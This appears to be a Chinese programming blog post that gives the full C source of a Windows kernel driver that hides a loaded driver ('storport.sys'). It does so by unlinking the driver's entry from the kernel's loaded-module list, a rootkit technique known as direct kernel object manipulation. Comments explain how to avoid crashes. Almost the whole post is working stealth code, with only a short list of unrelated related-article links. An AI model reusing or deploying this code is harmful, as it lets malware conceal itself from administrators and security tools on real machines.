zoukankan      html  css  js  c++  java
  • 隐藏驱动

     1 #include <ntddk.h>
     2 
     3 typedef unsigned long DWORD;
     4 
     5 typedef struct _KLDR_DATA_TABLE_ENTRY {
     6     LIST_ENTRY InLoadOrderLinks;
     7     PVOID ExceptionTable;
     8     ULONG ExceptionTableSize;
     9     PVOID GpValue;
    10     DWORD UnKnow;
    11     PVOID DllBase;
    12     PVOID EntryPoint;
    13     ULONG SizeOfImage;
    14     UNICODE_STRING FullDllName;
    15     UNICODE_STRING BaseDllName;
    16     ULONG Flags;
    17     USHORT LoadCount;
    18     USHORT __Unused5;
    19     PVOID SectionPointer;
    20     ULONG CheckSum;
    21     PVOID LoadedImports;
    22     PVOID PatchInformation;
    23 } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
    24 
    25 PDRIVER_OBJECT pDriverObject = NULL;
    26 
    27 VOID
    28 HideDriver()
    29 {
    30     PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
    31     PKLDR_DATA_TABLE_ENTRY firstentry;
    32     UNICODE_STRING uniDriverName;
    33 
    34     firstentry = entry;
    35 
    36     // 初始化要隐藏驱动的驱动名
    37     RtlInitUnicodeString(&uniDriverName, L"storport.sys");
    38 
    39     while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
    40     {
    41         if (entry->FullDllName.Buffer != 0)
    42         {
    43             if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
    44             {
    45                 KdPrint(("隐藏驱动 %ws 成功!
    ", entry->BaseDllName.Buffer));
    46                 // 修改 Flink 和 Blink 指针, 以跳过我们要隐藏的驱动
    47                 *((DWORD*)entry->InLoadOrderLinks.Blink) = (DWORD)entry->InLoadOrderLinks.Flink;
    48                 entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
    49 
    50                 /*
    51                 使被隐藏驱动LIST_ENTRY结构体的Flink, Blink域指向自己
    52                 因为此节点本来在链表中, 那么它邻接的节点驱动被卸载时,
    53                 系统会把此节点的Flink, Blink域指向它相邻节点的下一个节点.
    54                 但是, 它此时已经脱离链表了, 如果现在它原本相邻的节点驱动被
    55                 卸载了, 那么此节点的Flink, Blink域将有可能指向无用的地址, 而
    56                 造成随机性的BSoD.
    57                 */
    58                 entry->InLoadOrderLinks.Flink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
    59                 entry->InLoadOrderLinks.Blink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
    60 
    61                 break;
    62             }
    63         }
    64         // 链表往前走
    65         entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
    66     }
    67 }
    68 
    69 NTSTATUS
    70 UnloadDriver(
    71     IN PDRIVER_OBJECT DriverObject
    72 )
    73 {
    74     return STATUS_SUCCESS;
    75 }
    76 
    77 NTSTATUS
    78 DriverEntry(
    79     IN PDRIVER_OBJECT DriverObject,
    80     IN PUNICODE_STRING  RegistryPath
    81 )
    82 {
    83     DriverObject->DriverUnload = UnloadDriver;
    84     pDriverObject = DriverObject;
    85     HideDriver();
    86     return STATUS_SUCCESS;
    87 }
    爱程序 不爱bug 爱生活 不爱黑眼圈 我和你们一样 我和你们不一样 我不是凡客 我要做geek
  • 相关阅读:
    QT中的qmake详解
    Qt setStyleSheet 添加背景色/背景图片(取消背景色,读取本地文件作为背景色)
    目标HttpController在ASP.NET Web API中是如何被激活的:目标HttpController的选择
    分页写法小结
    SharePoint 2013 搜索高级配置(Search Scope)
    Scut游戏服务器免费开源框架-3
    物理数据模型(PDM)->概念数据模型 (CDM)->面向对象模型 (OOM):适用于已经设计好数据库表结构了。
    一种不错的扩展方式
    ORM框架
    代码最简化
  • 原文地址:https://www.cnblogs.com/yifi/p/6474364.html
Copyright © 2011-2022 走看看